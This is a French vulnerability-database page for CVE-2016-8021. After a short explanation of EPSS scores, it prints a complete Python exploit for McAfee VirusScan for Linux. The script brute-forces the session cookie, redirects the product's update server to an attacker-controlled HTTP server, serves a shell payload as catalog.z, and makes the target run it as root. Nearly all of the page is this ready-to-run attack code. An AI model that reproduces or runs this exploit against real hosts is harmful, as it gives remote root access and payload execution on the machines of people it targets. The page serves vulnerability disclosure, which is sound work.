CVE-2016-8021 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

''' Source: https://nation.state.actor/mcafee.html Vulnerabilities CVE-2016-8016: Remote Unauthenticated File Existence Test CVE-2016-8017: Remote Unauthenticated File Read (with Constraints) CVE-2016-8018: No Cross-Site Request Forgery Tokens CVE-2016-8019: Cross Site Scripting CVE-2016-8020: Authenticated Remote Code Execution & Privilege Escalation CVE-2016-8021: Web Interface Allows Arbitrary File Write to Known Location CVE-2016-8022: Remote Use of Authentication Tokens CVE-2016-8023: Brute Force Authentication Tokens CVE-2016-8024: HTTP Response Splitting CVE-2016-8025: Authenticated SQL Injection When chaned together, these vulnerabilities allow a remote attacker to execute code as root. ''' #!/bin/python3 import time import requests import os import sys import re import threading import subprocess from http.server import BaseHTTPRequestHandler, HTTPServer from socketserver import ThreadingMixIn # Per-target configuration target_domain="https://10.0.1.130" # https://target_ip local_ip = '10.0.1.128' # Attacker IP for victim to connect back to authorized_ip="127.0.0.1" # IP address cookie will be valid for update_server_port = 8080 # Port update server listens on delay_seconds = 10 # How long should the server take to serve the update target_port = 55443 # Port to target # Put payload script in payload.sh # Initialization payload_in_place = threading.Event() requests.packages.urllib3.disable_warnings() with open("payload.sh", "r") as f: payload = f.read() def pprint(inp, flag=False): pad = "#" if flag: pad = "*" print("\n" + pad+ " " + inp) def crack_cookie(): pprint("Cracking Cookie") # A page that requires authentication url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=productUpdate.html" # Start at the current time + 100 in case of recent login with clock skew date_val = int(time.time()+100) cookie_fmt = authorized_ip+"/n/0/%d-checksum// "+authorized_ip + " "*20 # Make requests, print after every 600 while True: cookie = cookie_fmt % date_val req_cookie = {"nailsSessionId": cookie} r = requests.get(url, cookies=req_cookie, verify=False) r.raise_for_status() if "Set-Cookie" in r.headers: valid_cookie = cookie timestamp = cookie.split("/")[3].split("-")[0] break elif date_val % 600 == 0: print("Now trying %s" % time.asctime(time.localtime(date_val))) date_val -= 1 pprint("Cookie Cracked: " + timestamp, True) return valid_cookie def update_update_server(auth_cookie): pprint("Updating update server") # Replace McAfeeHttp update server with attacker local_ip:update_server_port url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&addr=127.0.0.1%3A65443&tplt=" \ "repository.html&sitelist=add&mon%3A0=db+set+1+_table%3Drepository+status%3D1+siteList%3D%253C%253F" \ "xml%2520version%253D%25221.0%2522%2520encoding%253D%2522UTF-8%2522%253F%253E%250A%253Cns%253ASiteLists" \ "%2520xmlns%253Ans%253D%2522naSiteList%2522%2520GlobalVersion%253D%2522PATTeELCQSEhZwxKf4PoXNSY4%2Fg%25" \ "3D%2522%2520LocalVersion%253D%2522Wed%252C%252030%2520Dec%25202009%252011%253A20%253A59%2520UTC%2522%2" \ "520Type%253D%2522Client%2522%253E%253CPolicies%2F%253E%253CSiteList%2520Default%253D%25221%2522%2520Na" \ "me%253D%2522SomeGUID%2522%253E%253CHttpSite%2520Type%253D%2522repository%2522%2520Name%253D%2522McAfee" \ "Http%2522%2520Order%253D%25221%2522%2520Server%253D%2522"+local_ip+"%253A"+str(update_server_port) \ + "%2522%2520Enabled%253D%25221%2522%2520Local%253D%25221%2522%253E%253CRelativePath%2F%253E%253CUseAuth%" \ "253E0%253C%2FUseAuth%253E%253CUserName%253E%253C%2FUserName%253E%253CPassword%2520Encrypted%253D%25220" \ "%2522%2F%253E%253C%2FHttpSite%253E%253CFTPSite%2520Type%253D%2522fallback%2522%2520Name%253D%2522McAfe" \ "eFtp%2522%2520Order%253D%25222%2522%2520Server%253D%2522ftp.nai.com%253A21%2522%2520Enabled%253D%25221" \ "%2522%2520Local%253D%25221%2522%253E%253CRelativePath%253ECommonUpdater%253C%2FRelativePath%253E%253CU" \ "seAuth%253E1%253C%2FUseAuth%253E%253CUserName%253Eanonymous%253C%2FUserName%253E%253CPassword%2520Encr" \ "ypted%253D%25221%2522%253ECommonUpdater%40McAfeeB2B.com%253C%2FPassword%253E%253C%2FFTPSite%253E%253C%" \ "2FSiteList%253E%253C%2Fns%253ASiteLists%253E+_cmd%3Dupdate+&mon%3A1=task+setsitelist&mon%3A2=db+select" \ "+_show%3DsiteList+_show%3Dstatus+_table%3Drepository&info%3A2=multi%2Cshow&reposProperty=repository&re" \ "posProperty=fallback&useOfProxy=on" r = requests.get(url, cookies=auth_cookie, verify=False) r.raise_for_status() pprint("Updated update server", True) def download_update(req_cookie): pprint("Requesting target download payload") # Send request to make target download payload url = target_domain + ":" + str(target_port) + "/0409/nails" updateName = "update_%d" % int(time.time()) postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&scheduleOp=add&mon%3A0=db+set+1+_tab" \ "le%3Dschedule++taskName%3D{0}+taskType%3DUpdate+taskInfo%3DtoUpdate%3Ddat%253Bengine+timetable%3Dtype%" \ "3Dunscheduled+status%3DIdle++i_recurrenceCounter%3D0+&mon%3A1=task+nstart+{0}&mon%3A2=db+select+_asc%3D" \ "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+_sh" \ "ow%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dprogress+" \ "_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offset%3D0&in" \ "fo%3A2=multi%2Cshow&mon%3A3=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A3=multi%2Cshow&loc" \ "%3A4=conf+get+browser.resultsPerPage&info%3A4=multi%2Cshow&mon%3A5=task+updatecrontab&info%3A5=multi%2" \ "Cshow&echo%3A6=1&info%3A6=pageNo&echo%3A7=&info%3A7=selectedTask""").format(updateName) headers = {'Content-Type': 'application/x-www-form-urlencoded'} r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers) r.raise_for_status() pprint("Payload download requested", 1) def exec_catalogz(req_cookie): pprint("Making target execute payload") #### Get commit_id and ODS_name url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=schedOnDemand.html&addr=127.0" \ ".0.1:65443&mon:0=sconf+ODS+select+section%3Dnailsd.profile.ODS&info:0=multi,show,digest&echo:1=ODS&inf" \ "o:1=profileName&mon:2=sconf+ODS+select+section%3Dnailsd.profile.ODS_default&info:2=multi,show&echo:3=O" \ "DS_default&info:3=defaultProfileName&mon:4=sconf+ODS+select+attribute%3Dnailsd.oasEnabled&info:4=multi" \ ",show&mon:5=extensions&info:5=multi,show&mon:6=db+select+_show=max(i_taskId)+_table=schedule&info:6=mu" \ "lti,show&mon:7=utco&info:7=single,show,serverUtcOffset&echo:8=generate&info:8=profileNameAction" r = requests.get(url, cookies=req_cookie, verify=False) r.raise_for_status() regex = re.search("\|digest=(.+?)\|", r.text) if not regex: print("\nERROR: Could not get commit_id when generating evil scan\n") return False commit_id = regex.groups(1)[0] # Send request to start evil scan payload_path = "%2Fopt%2FMcAfee%2Fcma%2Fscratch%2Fupdate%2Fcatalog.z" binary_path = "%2Fbin%2Fsh" # Use "%2fbin%2Fstatic-sh" for versions 1.x url = target_domain + ":" + str(target_port) + "/0409/nails" ODS_name = "ODS_1" # This may need to be increased if the name already exists scan_name = "scan_%s" % str(int(time.time())) postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&mon%3A0=sconf+{1}+begin&info%3A0=" \ "multi%2Cshow&mon%3A1=sconf+{1}+delete+{0}+section%3Dnailsd.profile.{1}.filter+section%3Dnailsd.prof" \ "ile.{1}.action&mon%3A2=sconf+{1}+set+{0}+nailsd.profile.{1}.allFiles%3Dtrue+nailsd.profile.{1}.child" \ "InitTmo%3D240+nailsd.profile.{1}.cleanChildren%3D2+nailsd.profile.{1}.cleansPerChild%3D10000+nailsd" \ ".profile.{1}.datPath%3D%2Fopt%2FNAI%2FLinuxShield%2Fengine%2Fdat+nailsd.profile.{1}.decompArchive%3" \ "Dtrue+nailsd.profile.{1}.decompExe%3Dtrue+nailsd.profile.{1}.engineLibDir%3D%2Fopt%2FNAI%2FLinuxShi" \ "eld%2Fengine%2Flib+nailsd.profile.{1}.enginePath%3D{3}+nailsd.profile.{1}.factoryI" \ "nitTmo%3D240+nailsd.profile.{1}.heuristicAnalysis%3Dtrue+nailsd.profile.{1}.macroAnalysis%3Dtrue+na" \ "ilsd.profile.{1}.maxQueSize%3D32+nailsd.profile.{1}.mime%3Dtrue+nailsd.profile.{1}.noJokes%3Dfalse+" \ "nailsd.profile.{1}.program%3Dtrue+nailsd.profile.{1}.quarantineChildren%3D1+nailsd.profile.{1}.quar" \ "antineDirectory%3D%2Fquarantine+nailsd.profile.{1}.quarantineFromRemoteFS%3Dfalse+nailsd.profile.{1" \ "}.quarantinesPerChild%3D10000+nailsd.profile.{1}.scanChildren%3D2+nailsd.profile.{1}.scanMaxTmo%3D3" \ "00+nailsd.profile.{1}.scanNWFiles%3Dfalse+nailsd.profile.{1}.scanOnRead%3Dtrue+nailsd.profile.{1}.s" \ "canOnWrite%3Dtrue+nailsd.profile.{1}.scannerPath%3D{4}+nailsd.profile.{1}.scansPerChild" \ "%3D10000+nailsd.profile.{1}.slowScanChildren%3D0+nailsd.profile.{1}.filter.0.type%3Dexclude-path+na" \ "ilsd.profile.{1}.filter.0.path%3D%2Fproc+nailsd.profile.{1}.filter.0.subdir%3Dtrue+nailsd.profile.{" \ "1}.filter.1.type%3Dexclude-path+nailsd.profile.{1}.filter.1.path%3D%2Fquarantine+nailsd.profile.{1}" \ ".filter.1.subdir%3Dtrue+nailsd.profile.{1}.filter.extensions.mode%3Dall+nailsd.profile.{1}.filter.e" \ "xtensions.type%3Dextension+nailsd.profile.{1}.action.Default.primary%3DClean+nailsd.profile.{1}.act" \ "ion.Default.secondary%3DQuarantine+nailsd.profile.{1}.action.App.primary%3DClean+nailsd.profile.{1}" \ ".action.App.secondary%3DQuarantine+nailsd.profile.{1}.action.timeout%3DPass+nailsd.profile.{1}.acti" \ "on.error%3DBlock&mon%3A3=sconf+{1}+commit+{0}&mon%3A4=db+set+{0}+_table%3Dschedule++taskName%3D{2}+" \ "taskType%3DOn-Demand+taskInfo%3DprofileName%3D{1}%2Cpaths%3Dpath%3A%2Ftmp%3Bexclude%3Atrue+timetabl" \ "e%3Dtype%3Dunscheduled+progress%3D+status%3DIdle+&mon%3A5=task+nstart+{2}&mon%3A6=db+select+_asc%3D" \ "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+" \ "_show%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dpro" \ "gress+_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offs" \ "et%3D0&info%3A6=multi%2Cshow&mon%3A7=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A7=mult" \ "i%2Cshow&mon%3A8=sconf+ODS+begin&info%3A8=multi%2Cshow%2Cdigest&mon%3A9=task+updatecrontab&info%3A9" \ "=multi%2Cshow&loc%3A10=conf+get+browser.resultsPerPage&info%3A10=multi%2Cshow&echo%3A11=1&info%3A11" \ "=pageNo&echo%3A12=&info%3A12=selectedTask").format(commit_id, ODS_name, scan_name,payload_path, binary_path) headers = {'Content-Type': 'application/x-www-form-urlencoded'} r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers) r.raise_for_status() pprint("Payload executed", 1) def start_update_server(): class RequestHandler(BaseHTTPRequestHandler): def do_HEAD(s): s.send_response(200) s.send_header("Content-type", "text/html") s.end_headers() def do_GET(s): if s.path == "/catalog.z": s.send_response(200) s.send_header("Content-type", "text/html") s.end_headers() s.wfile.write(bytes(payload, "utf-8")) pprint("Payload placed", 1) payload_in_place.set() # Die after sending payload so we send an incomplete response raise KillServer else: # Assume all other requests are for SiteStat - Always increasing version s.send_response(200) s.send_header("Content-type", "text/xml") s.end_headers() s.wfile.write(bytes(("""<?xml version="1.0" encoding="UTF-8"?>""" \ """<SiteStatus Status="Enabled" CatalogVersion="2%d">""" \ """ </SiteStatus>""") % int(time.time()), "utf-8")) # Throwing KillServer will shutdown the server ungracefully class KillServer(Exception): def __str__(self): return "Kill Server (not an error)" # ThreadingMixIn plus support for KillServer exceptions class AbortableThreadingMixIn(ThreadingMixIn): def process_request_thread(self, request, client_address): try: self.finish_request(request, client_address) self.shutdown_request(request) except KillServer: pprint("Killing update server dirtily") self.shutdown_request(request) self.shutdown() # Only if we want to shutdown except: self.handle_error(request, client_address) self.shutdown_request(request) class BackgroundHTTPSrv(AbortableThreadingMixIn, HTTPServer): pass pprint("Launching update server") srv = BackgroundHTTPSrv((local_ip, update_server_port), RequestHandler) threading.Thread(target=srv.serve_forever).start() pprint("Update server started", 1) return srv #################################################################################### #################################################################################### pprint("Attacking %s" % target_domain, 1) # Crack the auth cookie cookie = crack_cookie() auth_cookie = {"nailsSessionId": cookie} # Start our update server locally srv = start_update_server() # Force target to use our update server update_update_server(auth_cookie) # Make target download an update from us download_update(auth_cookie) # Block until the target downloads our payload, payload_in_place.wait() # Shutdown our update server srv.shutdown() # Execute /bin/sh -(?) catalog.z exec_catalogz(auth_cookie)